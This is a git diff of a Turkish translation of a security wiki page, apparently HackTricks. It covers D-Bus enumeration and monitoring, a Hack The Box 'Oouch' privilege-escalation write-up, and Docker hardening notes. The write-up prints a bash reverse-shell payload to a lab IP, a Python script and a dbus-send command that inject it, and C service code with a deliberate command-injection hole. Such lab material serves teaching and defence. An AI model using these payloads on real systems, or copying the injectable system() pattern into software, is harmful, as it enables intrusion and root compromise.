cap_dac_read_search - cap_fowner cap_fsetid cap_kill cap_setgid - cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service - cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock - cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot - cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot - cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config - cap_mknod cap_lease cap_audit_write cap_audit_control - cap_setfcap cap_mac_override cap_mac_admin cap_syslog - cap_wake_alarm cap_block_suspend cap_audit_read +cap_fowner cap_fsetid cap_kill cap_setgid +cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service +cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock +cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot +cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot +cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config +cap_mknod cap_lease cap_audit_write cap_audit_control +cap_setfcap cap_mac_override cap_mac_admin cap_syslog +cap_wake_alarm cap_block_suspend cap_audit_read InheritableCapabilities= BoundingCapabilities=cap_chown cap_dac_override cap_dac_read_search - cap_fowner cap_fsetid cap_kill cap_setgid - cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service - cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock - cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot - cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot - cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config - cap_mknod cap_lease cap_audit_write cap_audit_control - cap_setfcap cap_mac_override cap_mac_admin cap_syslog - cap_wake_alarm cap_block_suspend cap_audit_read +cap_fowner cap_fsetid cap_kill cap_setgid +cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service +cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock +cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot +cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot +cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config +cap_mknod cap_lease cap_audit_write cap_audit_control +cap_setfcap cap_mac_override cap_mac_admin cap_syslog +cap_wake_alarm cap_block_suspend cap_audit_read ``` +### Bir Servis Nesnesinin Arayüzlerini Listele -### List Interfaces of a Service Object - -You need to have enough permissions. - +Yeterli izinlere sahip olmalısınız. ```bash busctl tree htb.oouch.Block #Get Interfaces of the service object └─/htb - └─/htb/oouch - └─/htb/oouch/Block +└─/htb/oouch +└─/htb/oouch/Block ``` +### Bir Servis Nesnesinin Arayüzünü İnceleme -### Introspect Interface of a Service Object - -Note how in this example it was selected the latest interface discovered using the `tree` parameter (_see previous section_): - +Bu örnekte, `tree` parametresi kullanılarak keşfedilen en son arayüzün seçildiğine dikkat edin (_önceki bölüme bakın_): ```bash busctl introspect htb.oouch.Block /htb/oouch/Block #Get methods of the interface @@ -159,59 +150,51 @@ org.freedesktop.DBus.Properties interface - - - .Set method ssv - - .PropertiesChanged signal sa{sv}as - - ``` +Not edin ki `htb.oouch.Block` arayüzünün `.Block` metodu (ilgilendiğimiz). Diğer sütunlardaki "s" bir string beklediğini gösterebilir. -Note the method `.Block` of the interface `htb.oouch.Block` (the one we are interested in). The "s" of the other columns may mean that it's expecting a string. +### İzleme/Yakalama Arayüzü -### Monitor/Capture Interface +Yeterli ayrıcalıklara sahip olduğunuzda (sadece `send_destination` ve `receive_sender` ayrıcalıkları yeterli değildir) **D-Bus iletişimini izleyebilirsiniz**. -With enough privileges (just `send_destination` and `receive_sender` privileges aren't enough) you can **monitor a D-Bus communication**. - -In order to **monitor** a **communication** you will need to be **root.** If you still find problems being root check [https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) and [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus) +Bir **iletişimi izlemek** için **root** olmanız gerekecek. Hala root olma konusunda sorun yaşıyorsanız [https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) ve [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus) adreslerine bakın. > [!WARNING] -> If you know how to configure a D-Bus config file to **allow non root users to sniff** the communication please **contact me**! - -Different ways to monitor: +> Eğer bir D-Bus yapılandırma dosyasını **root olmayan kullanıcıların iletişimi dinlemesine izin verecek şekilde yapılandırmayı** biliyorsanız lütfen **benimle iletişime geçin**! +İzleme için farklı yollar: ```bash sudo busctl monitor htb.oouch.Block #Monitor only specified sudo busctl monitor #System level, even if this works you will only see messages you have permissions to see sudo dbus-monitor --system #System level, even if this works you will only see messages you have permissions to see ``` - -In the following example the interface `htb.oouch.Block` is monitored and **the message "**_**lalalalal**_**" is sent through miscommunication**: - +Aşağıdaki örnekte `htb.oouch.Block` arayüzü izleniyor ve **mesaj "**_**lalalalal**_**" yanlış iletişim yoluyla gönderiliyor**: ```bash busctl monitor htb.oouch.Block Monitoring bus message stream. ‣ Type=method_call Endian=l Flags=0 Version=1 Priority=0 Cookie=2 - Sender=:1.1376 Destination=htb.oouch.Block Path=/htb/oouch/Block Interface=htb.oouch.Block Member=Block - UniqueName=:1.1376 - MESSAGE "s" { - STRING "lalalalal"; - }; +Sender=:1.1376 Destination=htb.oouch.Block Path=/htb/oouch/Block Interface=htb.oouch.Block Member=Block +UniqueName=:1.1376 +MESSAGE "s" { +STRING "lalalalal"; +}; ‣ Type=method_return Endian=l Flags=1 Version=1 Priority=0 Cookie=16 ReplyCookie=2 - Sender=:1.3 Destination=:1.1376 - UniqueName=:1.3 - MESSAGE "s" { - STRING "Carried out :D"; - }; +Sender=:1.3 Destination=:1.1376 +UniqueName=:1.3 +MESSAGE "s" { +STRING "Carried out :D"; +}; ``` +`capture` yerine `monitor` kullanarak sonuçları bir pcap dosyasında kaydedebilirsiniz. -You can use `capture` instead of `monitor` to save the results in a pcap file. - -#### Filtering all the noise - -If there is just too much information on the bus, pass a match rule like so: +#### Tüm gürültüyü filtreleme +Eğer bus'ta çok fazla bilgi varsa, şöyle bir eşleşme kuralı geçirin: ```bash dbus-monitor "type=signal,sender='org.gnome.TypingMonitor',interface='org.gnome.TypingMonitor'" ``` - -Multiple rules can be specified. If a message matches _any_ of the rules, the message will be printed. Like so: - +Birden fazla kural belirtilebilir. Eğer bir mesaj _herhangi_ bir kural ile eşleşiyorsa, mesaj yazdırılacaktır. Böyle: ```bash dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends" ``` @@ -219,83 +202,73 @@ dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends" ```bash dbus-monitor "type=method_call" "type=method_return" "type=error" ``` +Daha fazla bilgi için [D-Bus belgelerine](http://dbus.freedesktop.org/doc/dbus-specification.html) bakın. -See the [D-Bus documentation](http://dbus.freedesktop.org/doc/dbus-specification.html) for more information on match rule syntax. +### Daha Fazla -### More +`busctl`'nin daha fazla seçeneği vardır, [**hepsini burada bulabilirsiniz**](https://www.freedesktop.org/software/systemd/man/busctl.html). -`busctl` has even more options, [**find all of them here**](https://www.freedesktop.org/software/systemd/man/busctl.html). - -## **Vulnerable Scenario** - -As user **qtc inside the host "oouch" from HTB** you can find an **unexpected D-Bus config file** located in _/etc/dbus-1/system.d/htb.oouch.Block.conf_: +## **Zayıf Senaryo** +**HTB'den "oouch" ana bilgisayarında qtc kullanıcısı olarak**, _/etc/dbus-1/system.d/htb.oouch.Block.conf_ konumunda bulunan **beklenmedik bir D-Bus yapılandırma dosyası** bulabilirsiniz: ```xml +"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN" +"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd"> - - - + + + - - - - + + + + ``` +Önceki yapılandırmadan not edin ki **bu D-BUS iletişimi aracılığıyla bilgi göndermek ve almak için `root` veya `www-data` kullanıcısı olmanız gerekecek**. -Note from the previous configuration that **you will need to be the user `root` or `www-data` to send and receive information** via this D-BUS communication. - -As user **qtc** inside the docker container **aeb4525789d8** you can find some dbus related code in the file _/code/oouch/routes.py._ This is the interesting code: - +Docker konteyneri **aeb4525789d8** içindeki **qtc** kullanıcısı olarak, _/code/oouch/routes.py_ dosyasında bazı dbus ile ilgili kodlar bulabilirsiniz. Bu ilginç kod: ```python if primitive_xss.search(form.textfield.data): - bus = dbus.SystemBus() - block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block') - block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block') +bus = dbus.SystemBus() +block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block') +block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block') - client_ip = request.environ.get('REMOTE_ADDR', request.remote_addr) - response = block_iface.Block(client_ip) - bus.close() - return render_template('hacker.html', title='Hacker') +client_ip = request.environ.get('REMOTE_ADDR', request.remote_addr) +response = block_iface.Block(client_ip) +bus.close() +return render_template('hacker.html', title='Hacker') ``` +Gördüğünüz gibi, **D-Bus arayüzüne bağlanıyor** ve **"Block" fonksiyonuna** "client_ip" gönderiyor. -As you can see, it is **connecting to a D-Bus interface** and sending to the **"Block" function** the "client_ip". +D-Bus bağlantısının diğer tarafında bazı C derlenmiş ikili dosyalar çalışıyor. Bu kod, D-Bus bağlantısında **IP adresini dinliyor ve verilen IP adresini engellemek için `system` fonksiyonu aracılığıyla iptables'ı çağırıyor.**\ +**`system` çağrısı, komut enjeksiyonuna karşı kasıtlı olarak savunmasızdır, bu nedenle aşağıdaki gibi bir yük, ters bir shell oluşturacaktır:** `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #` -In the other side of the D-Bus connection there is some C compiled binary running. This code is **listening** in the D-Bus connection **for IP address and is calling iptables via `system` function** to block the given IP address.\ -**The call to `system` is vulnerable on purpose to command injection**, so a payload like the following one will create a reverse shell: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #` - -### Exploit it - -At the end of this page you can find the **complete C code of the D-Bus application**. Inside of it you can find between the lines 91-97 **how the `D-Bus object path`** **and `interface name`** are **registered**. This information will be necessary to send information to the D-Bus connection: +### Bunu istismar et +Bu sayfanın sonunda **D-Bus uygulamasının tam C kodunu** bulabilirsiniz. İçinde, 91-97. satırlar arasında **`D-Bus nesne yolu`** **ve `arayüz adı`nın** **nasıl kaydedildiğini** bulabilirsiniz. Bu bilgi, D-Bus bağlantısına bilgi göndermek için gerekli olacaktır: ```c - /* Install the object */ - r = sd_bus_add_object_vtable(bus, - &slot, - "/htb/oouch/Block", /* interface */ - "htb.oouch.Block", /* service object */ - block_vtable, - NULL); +/* Install the object */ +r = sd_bus_add_object_vtable(bus, +&slot, +"/htb/oouch/Block", /* interface */ +"htb.oouch.Block", /* service object */ +block_vtable, +NULL); ``` - -Also, in line 57 you can find that **the only method registered** for this D-Bus communication is called `Block`(_**Thats why in the following section the payloads are going to be sent to the service object `htb.oouch.Block`, the interface `/htb/oouch/Block` and the method name `Block`**_): - +Ayrıca, 57. satırda bu D-Bus iletişimi için **kayıtlı tek yöntem**'in `Block` olarak adlandırıldığını görebilirsiniz (_**Bu yüzden, bir sonraki bölümde yükler hizmet nesnesi `htb.oouch.Block`, arayüz `/htb/oouch/Block` ve yöntem adı `Block`'a gönderilecektir**_): ```c SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED), ``` - #### Python -The following python code will send the payload to the D-Bus connection to the `Block` method via `block_iface.Block(runme)` (_note that it was extracted from the previous chunk of code_): - +Aşağıdaki python kodu, `block_iface.Block(runme)` aracılığıyla `Block` metoduna D-Bus bağlantısına yükü gönderecektir (_önceki kod parçasından alındığını unutmayın_): ```python import dbus bus = dbus.SystemBus() @@ -305,24 +278,20 @@ runme = ";bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #" response = block_iface.Block(runme) bus.close() ``` - -#### busctl and dbus-send - +#### busctl ve dbus-send ```bash dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block string:';pring -c 1 10.10.14.44 #' ``` +- `dbus-send`, "Mesaj Otobüsü"na mesaj göndermek için kullanılan bir araçtır. +- Mesaj Otobüsü – Sistemlerin uygulamalar arasında iletişim kurmasını kolaylaştıran bir yazılımdır. Mesaj Kuyruğu ile ilgilidir (mesajlar sıralı bir şekilde düzenlenir) ancak Mesaj Otobüsü'nde mesajlar bir abonelik modeli ile gönderilir ve ayrıca çok hızlıdır. +- “-system” etiketi, bunun bir oturum mesajı değil, bir sistem mesajı olduğunu belirtmek için kullanılır (varsayılan olarak). +- “–print-reply” etiketi, mesajımızı uygun bir şekilde yazdırmak ve herhangi bir yanıtı insan tarafından okunabilir bir formatta almak için kullanılır. +- “–dest=Dbus-Interface-Block” Dbus arayüzünün adresidir. +- “–string:” – Arayüze göndermek istediğimiz mesajın türüdür. Mesaj göndermenin birkaç formatı vardır: double, bytes, booleans, int, objpath. Bunlardan “object path”, bir dosyanın yolunu Dbus arayüzüne göndermek istediğimizde kullanışlıdır. Bu durumda, bir dosya adıyla arayüze bir komut iletmek için özel bir dosya (FIFO) kullanabiliriz. “string:;” – Bu, FIFO ters kabuk dosyası/komutunun yerini aldığımızda nesne yolunu tekrar çağırmak içindir. -- `dbus-send` is a tool used to send message to “Message Bus” -- Message Bus – A software used by systems to make communications between applications easily. It’s related to Message Queue (messages are ordered in sequence) but in Message Bus the messages are sending in a subscription model and also very quick. -- “-system” tag is used to mention that it is a system message, not a session message (by default). -- “–print-reply” tag is used to print our message appropriately and receives any replies in a human-readable format. -- “–dest=Dbus-Interface-Block” The address of the Dbus interface. -- “–string:” – Type of message we like to send to the interface. There are several formats of sending messages like double, bytes, booleans, int, objpath. Out of this, the “object path” is useful when we want to send a path of a file to the Dbus interface. We can use a special file (FIFO) in this case to pass a command to interface in the name of a file. “string:;” – This is to call the object path again where we place of FIFO reverse shell file/command. - -_Note that in `htb.oouch.Block.Block`, the first part (`htb.oouch.Block`) references the service object and the last part (`.Block`) references the method name._ - -### C code +_Not edin ki `htb.oouch.Block.Block` içinde, ilk kısım (`htb.oouch.Block`) hizmet nesnesini, son kısım ise (`.Block`) yöntem adını referans alır._ +### C kodu ```c:d-bus_server.c //sudo apt install pkgconf //sudo apt install libsystemd-dev @@ -336,135 +305,134 @@ _Note that in `htb.oouch.Block.Block`, the first part (`htb.oouch.Block`) refere #include static int method_block(sd_bus_message *m, void *userdata, sd_bus_error *ret_error) { - char* host = NULL; - int r; +char* host = NULL; +int r; - /* Read the parameters */ - r = sd_bus_message_read(m, "s", &host); - if (r < 0) { - fprintf(stderr, "Failed to obtain hostname: %s\n", strerror(-r)); - return r; - } +/* Read the parameters */ +r = sd_bus_message_read(m, "s", &host); +if (r < 0) { +fprintf(stderr, "Failed to obtain hostname: %s\n", strerror(-r)); +return r; +} - char command[] = "iptables -A PREROUTING -s %s -t mangle -j DROP"; +char command[] = "iptables -A PREROUTING -s %s -t mangle -j DROP"; - int command_len = strlen(command); - int host_len = strlen(host); +int command_len = strlen(command); +int host_len = strlen(host); - char* command_buffer = (char *)malloc((host_len + command_len) * sizeof(char)); - if(command_buffer == NULL) { - fprintf(stderr, "Failed to allocate memory\n"); - return -1; - } +char* command_buffer = (char *)malloc((host_len + command_len) * sizeof(char)); +if(command_buffer == NULL) { +fprintf(stderr, "Failed to allocate memory\n"); +return -1; +} - sprintf(command_buffer, command, host); +sprintf(command_buffer, command, host); - /* In the first implementation, we simply ran command using system(), since the expected DBus - * to be threading automatically. However, DBus does not thread and the application will hang - * forever if some user spawns a shell. Thefore we need to fork (easier than implementing real - * multithreading) - */ - int pid = fork(); +/* In the first implementation, we simply ran command using system(), since the expected DBus +* to be threading automatically. However, DBus does not thread and the application will hang +* forever if some user spawns a shell. Thefore we need to fork (easier than implementing real +* multithreading) +*/ +int pid = fork(); - if ( pid == 0 ) { - /* Here we are in the child process. We execute the command and eventually exit. */ - system(command_buffer); - exit(0); - } else { - /* Here we are in the parent process or an error occured. We simply send a genric message. - * In the first implementation we returned separate error messages for success or failure. - * However, now we cannot wait for results of the system call. Therefore we simply return - * a generic. */ - return sd_bus_reply_method_return(m, "s", "Carried out :D"); - } - r = system(command_buffer); +if ( pid == 0 ) { +/* Here we are in the child process. We execute the command and eventually exit. */ +system(command_buffer); +exit(0); +} else { +/* Here we are in the parent process or an error occured. We simply send a genric message. +* In the first implementation we returned separate error messages for success or failure. +* However, now we cannot wait for results of the system call. Therefore we simply return +* a generic. */ +return sd_bus_reply_method_return(m, "s", "Carried out :D"); +} +r = system(command_buffer); } /* The vtable of our little object, implements the net.poettering.Calculator interface */ static const sd_bus_vtable block_vtable[] = { - SD_BUS_VTABLE_START(0), - SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED), - SD_BUS_VTABLE_END +SD_BUS_VTABLE_START(0), +SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED), +SD_BUS_VTABLE_END }; int main(int argc, char *argv[]) { - /* - * Main method, registeres the htb.oouch.Block service on the system dbus. - * - * Paramaters: - * argc (int) Number of arguments, not required - * argv[] (char**) Argument array, not required - * - * Returns: - * Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive - * as long as the user keeps it alive. - */ +/* +* Main method, registeres the htb.oouch.Block service on the system dbus. +* +* Paramaters: +* argc (int) Number of arguments, not required +* argv[] (char**) Argument array, not required +* +* Returns: +* Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive +* as long as the user keeps it alive. +*/ - /* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */ - signal(SIGCHLD,SIG_IGN); +/* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */ +signal(SIGCHLD,SIG_IGN); - sd_bus_slot *slot = NULL; - sd_bus *bus = NULL; - int r; +sd_bus_slot *slot = NULL; +sd_bus *bus = NULL; +int r; - /* First we need to connect to the system bus. */ - r = sd_bus_open_system(&bus); - if (r < 0) - { - fprintf(stderr, "Failed to connect to system bus: %s\n", strerror(-r)); - goto finish; - } +/* First we need to connect to the system bus. */ +r = sd_bus_open_system(&bus); +if (r < 0) +{ +fprintf(stderr, "Failed to connect to system bus: %s\n", strerror(-r)); +goto finish; +} - /* Install the object */ - r = sd_bus_add_object_vtable(bus, - &slot, - "/htb/oouch/Block", /* interface */ - "htb.oouch.Block", /* service object */ - block_vtable, - NULL); - if (r < 0) { - fprintf(stderr, "Failed to install htb.oouch.Block: %s\n", strerror(-r)); - goto finish; - } +/* Install the object */ +r = sd_bus_add_object_vtable(bus, +&slot, +"/htb/oouch/Block", /* interface */ +"htb.oouch.Block", /* service object */ +block_vtable, +NULL); +if (r < 0) { +fprintf(stderr, "Failed to install htb.oouch.Block: %s\n", strerror(-r)); +goto finish; +} - /* Register the service name to find out object */ - r = sd_bus_request_name(bus, "htb.oouch.Block", 0); - if (r < 0) { - fprintf(stderr, "Failed to acquire service name: %s\n", strerror(-r)); - goto finish; - } +/* Register the service name to find out object */ +r = sd_bus_request_name(bus, "htb.oouch.Block", 0); +if (r < 0) { +fprintf(stderr, "Failed to acquire service name: %s\n", strerror(-r)); +goto finish; +} - /* Infinite loop to process the client requests */ - for (;;) { - /* Process requests */ - r = sd_bus_process(bus, NULL); - if (r < 0) { - fprintf(stderr, "Failed to process bus: %s\n", strerror(-r)); - goto finish; - } - if (r > 0) /* we processed a request, try to process another one, right-away */ - continue; +/* Infinite loop to process the client requests */ +for (;;) { +/* Process requests */ +r = sd_bus_process(bus, NULL); +if (r < 0) { +fprintf(stderr, "Failed to process bus: %s\n", strerror(-r)); +goto finish; +} +if (r > 0) /* we processed a request, try to process another one, right-away */ +continue; - /* Wait for the next request to process */ - r = sd_bus_wait(bus, (uint64_t) -1); - if (r < 0) { - fprintf(stderr, "Failed to wait on bus: %s\n", strerror(-r)); - goto finish; - } - } +/* Wait for the next request to process */ +r = sd_bus_wait(bus, (uint64_t) -1); +if (r < 0) { +fprintf(stderr, "Failed to wait on bus: %s\n", strerror(-r)); +goto finish; +} +} finish: - sd_bus_slot_unref(slot); - sd_bus_unref(bus); +sd_bus_slot_unref(slot); +sd_bus_unref(bus); - return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS; +return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS; } ``` - -## References +## Referanslar - [https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/) diff --git a/src/linux-hardening/privilege-escalation/docker-security/README.md b/src/linux-hardening/privilege-escalation/docker-security/README.md index f24454c57..45d3d7e96 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/README.md +++ b/src/linux-hardening/privilege-escalation/docker-security/README.md @@ -4,7 +4,7 @@ ## **Temel Docker Motoru Güvenliği** -**Docker motoru**, konteynerleri izole etmek için Linux çekirdeğinin **Namespaces** ve **Cgroups** özelliklerini kullanarak temel bir güvenlik katmanı sunar. Ek koruma, **Capabilities dropping**, **Seccomp** ve **SELinux/AppArmor** ile sağlanarak konteyner izolasyonunu artırır. Bir **auth plugin** kullanıcı eylemlerini daha da kısıtlayabilir. +**Docker motoru**, konteynerleri izole etmek için Linux çekirdeğinin **Namespaces** ve **Cgroups** özelliklerini kullanır ve temel bir güvenlik katmanı sunar. Ek koruma, **Capabilities dropping**, **Seccomp** ve **SELinux/AppArmor** ile sağlanarak konteyner izolasyonunu artırır. Bir **auth plugin** kullanıcı eylemlerini daha da kısıtlayabilir. ![Docker Güvenliği](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png) @@ -129,7 +129,7 @@ Bu, yetenekleri, syscalls'ı, dosyalara ve klasörlere erişimi azaltmanıza ola ### Namespaces -**Namespaces**, **çekirdek kaynaklarını** **bölümlere ayıran** Linux çekirdek özelliğidir; böylece bir **süreç** seti bir **kaynak** setini **görürken**, **diğer** bir **süreç** seti **farklı** bir kaynak setini görür. Bu özellik, bir kaynak ve süreç seti için aynı namespace'e sahip olarak çalışır, ancak bu namespace'ler farklı kaynaklara atıfta bulunur. Kaynaklar birden fazla alanda var olabilir. +**Namespaces**, **çekirdek kaynaklarını** **bölümlere ayıran** Linux çekirdek özelliğidir; böylece bir **işlem** kümesi bir **kaynak** kümesini **görürken**, **diğer** bir **işlem** kümesi **farklı** bir kaynak kümesini görür. Bu özellik, bir kaynak ve işlem kümesi için aynı namespace'e sahip olarak çalışır, ancak bu namespace'ler farklı kaynaklara atıfta bulunur. Kaynaklar birden fazla alanda var olabilir. Docker, konteyner izolasyonu sağlamak için aşağıdaki Linux çekirdek Namespaces'lerini kullanır: @@ -147,8 +147,8 @@ namespaces/ ### cgroups -Linux çekirdek özelliği **cgroups**, bir dizi süreç arasında **cpu, bellek, io, ağ bant genişliği gibi kaynakları kısıtlama** yeteneği sağlar. Docker, belirli bir Konteyner için kaynak kontrolü sağlayan cgroup özelliğini kullanarak Konteynerler oluşturmanıza olanak tanır.\ -Aşağıda, kullanıcı alanı belleği 500m ile sınırlı, çekirdek belleği 50m ile sınırlı, cpu payı 512, blkioweight 400 olan bir Konteyner oluşturulmuştur. CPU payı, Konteyner’in CPU kullanımını kontrol eden bir orandır. Varsayılan değeri 1024'tür ve 0 ile 1024 arasında bir aralığı vardır. Üç Konteyner 1024 CPU payına sahipse, her Konteyner CPU kaynak rekabeti durumunda %33'e kadar CPU alabilir. blkio-weight, Konteyner’in IO'sunu kontrol eden bir orandır. Varsayılan değeri 500'dür ve 10 ile 1000 arasında bir aralığı vardır. +Linux çekirdek özelliği **cgroups**, bir dizi işlem arasında **cpu, bellek, io, ağ bant genişliği gibi kaynakları kısıtlama** yeteneği sağlar. Docker, belirli bir konteyner için kaynak kontrolü sağlayan cgroup özelliğini kullanarak konteynerler oluşturmanıza olanak tanır.\ +Aşağıda, kullanıcı alanı belleği 500m ile sınırlı, çekirdek belleği 50m ile sınırlı, cpu payı 512, blkioweight 400 olan bir konteyner oluşturulmuştur. CPU payı, konteynerin CPU kullanımını kontrol eden bir orandır. Varsayılan değeri 1024'tür ve 0 ile 1024 arasında bir aralığı vardır. Üç konteynerin 1024 CPU payı varsa, her bir konteyner CPU kaynak rekabeti durumunda %33'e kadar CPU alabilir. blkio-weight, konteynerin IO'sunu kontrol eden bir orandır. Varsayılan değeri 500'dür ve 10 ile 1000 arasında bir aralığı vardır. ``` docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash ``` @@ -196,7 +196,7 @@ apparmor.md - **Politika Uygulaması**: Bir işlem etiketinin sistem içindeki diğer etiketler üzerinde hangi eylemleri gerçekleştirebileceğini tanımlayan güvenlik politikalarını uygular. - **Konteyner İşlem Etiketleri**: Konteyner motorları konteyner işlemlerini başlattığında, genellikle sınırlı bir SELinux etiketi olan `container_t` atanır. - **Konteyner İçindeki Dosya Etiketleme**: Konteyner içindeki dosyalar genellikle `container_file_t` olarak etiketlenir. -- **Politika Kuralları**: SELinux politikası esasen `container_t` etiketine sahip işlemlerin yalnızca `container_file_t` olarak etiketlenmiş dosyalarla etkileşimde bulunabileceğini garanti eder. +- **Politika Kuralları**: SELinux politikası esasen `container_t` etiketine sahip işlemlerin yalnızca `container_file_t` olarak etiketlenmiş dosyalarla etkileşimde bulunmasını sağlar (okuma, yazma, yürütme). Bu mekanizma, bir konteyner içindeki bir işlem tehlikeye girse bile, yalnızca karşılık gelen etiketlere sahip nesnelerle etkileşimde bulunmakla sınırlı kalmasını sağlar ve bu tür tehlikelerin potansiyel zararını önemli ölçüde sınırlar. @@ -206,7 +206,7 @@ Bu mekanizma, bir konteyner içindeki bir işlem tehlikeye girse bile, yalnızca ### AuthZ & AuthN -Docker'da, bir yetkilendirme eklentisi, Docker daemon'una yapılan istekleri kabul etme veya engelleme kararını vererek güvenlikte kritik bir rol oynar. Bu karar, iki ana bağlamı inceleyerek verilir: +Docker'da, bir yetkilendirme eklentisi, Docker daemon'una yapılan istekleri kabul etme veya engelleme kararında kritik bir rol oynar. Bu karar, iki ana bağlamı inceleyerek verilir: - **Kimlik Doğrulama Bağlamı**: Bu, kullanıcının kim olduğu ve kendini nasıl kimlik doğruladığı gibi kapsamlı bilgileri içerir. - **Komut Bağlamı**: Bu, yapılan istekle ilgili tüm ilgili verileri içerir. @@ -219,7 +219,7 @@ authz-and-authn-docker-access-authorization-plugin.md ## Bir konteynerden DoS -Eğer bir konteynerin kullanabileceği kaynakları düzgün bir şekilde sınırlamazsanız, tehlikeye giren bir konteyner, çalıştığı ana makineyi DoS yapabilir. +Bir konteynerin kullanabileceği kaynakları düzgün bir şekilde sınırlamazsanız, tehlikeye giren bir konteyner, çalıştığı ana makineyi DoS yapabilir. - CPU DoS ```bash @@ -247,7 +247,7 @@ docker-privileged.md #### no-new-privileges -Eğer bir saldırganın düşük ayrıcalıklı bir kullanıcı olarak erişim sağladığı bir konteyner çalıştırıyorsanız. Eğer **yanlış yapılandırılmış bir suid ikili dosyanız** varsa, saldırgan bunu kötüye kullanabilir ve **konteyner içinde ayrıcalıkları artırabilir**. Bu, onun konteynerden kaçmasına izin verebilir. +Eğer bir saldırganın düşük ayrıcalıklı bir kullanıcı olarak erişim sağladığı bir konteyner çalıştırıyorsanız. Eğer **yanlış yapılandırılmış bir suid ikili dosyanız** varsa, saldırgan bunu kötüye kullanabilir ve **konteyner içinde ayrıcalıkları artırabilir**. Bu, onun oradan kaçmasına izin verebilir. Konteyneri **`no-new-privileges`** seçeneği etkinleştirilmiş olarak çalıştırmak, **bu tür ayrıcalık artışını önleyecektir**. ``` @@ -274,19 +274,19 @@ Daha fazla **`--security-opt`** seçeneği için kontrol edin: [https://docs.doc ### Gizli Bilgilerin Yönetimi: En İyi Uygulamalar -Gizli bilgileri doğrudan Docker imajlarına gömmekten veya ortam değişkenleri kullanmaktan kaçınmak çok önemlidir, çünkü bu yöntemler hassas bilgilerinizi `docker inspect` veya `exec` gibi komutlar aracılığıyla konteynıra erişimi olan herkesin erişimine açar. +Gizli bilgileri doğrudan Docker imajlarına gömmekten veya ortam değişkenleri kullanmaktan kaçınmak çok önemlidir, çünkü bu yöntemler hassas bilgilerinizi `docker inspect` veya `exec` gibi komutlar aracılığıyla konteynere erişimi olan herkesin erişimine açar. -**Docker hacimleri**, hassas bilgilere erişim için önerilen daha güvenli bir alternatiftir. Bunlar, `docker inspect` ve günlükleme ile ilişkili riskleri azaltarak, bellek içinde geçici bir dosya sistemi olarak kullanılabilir. Ancak, kök kullanıcılar ve konteynıra `exec` erişimi olanlar yine de gizli bilgilere erişebilir. +**Docker hacimleri**, hassas bilgilere erişim için önerilen daha güvenli bir alternatiftir. Bunlar, `docker inspect` ve günlükleme ile ilişkili riskleri azaltarak, bellek içinde geçici bir dosya sistemi olarak kullanılabilir. Ancak, kök kullanıcılar ve konteynere `exec` erişimi olanlar yine de gizli bilgilere erişebilir. **Docker gizli bilgileri**, hassas bilgileri yönetmek için daha güvenli bir yöntem sunar. İmaj oluşturma aşamasında gizli bilgilere ihtiyaç duyan örnekler için, **BuildKit** yapı zamanı gizli bilgileri destekleyen verimli bir çözüm sunarak, yapı hızını artırır ve ek özellikler sağlar. BuildKit'i kullanmak için üç şekilde etkinleştirilebilir: 1. Bir ortam değişkeni aracılığıyla: `export DOCKER_BUILDKIT=1` -2. Komutları öne ekleyerek: `DOCKER_BUILDKIT=1 docker build .` +2. Komutları ön ekleyerek: `DOCKER_BUILDKIT=1 docker build .` 3. Docker 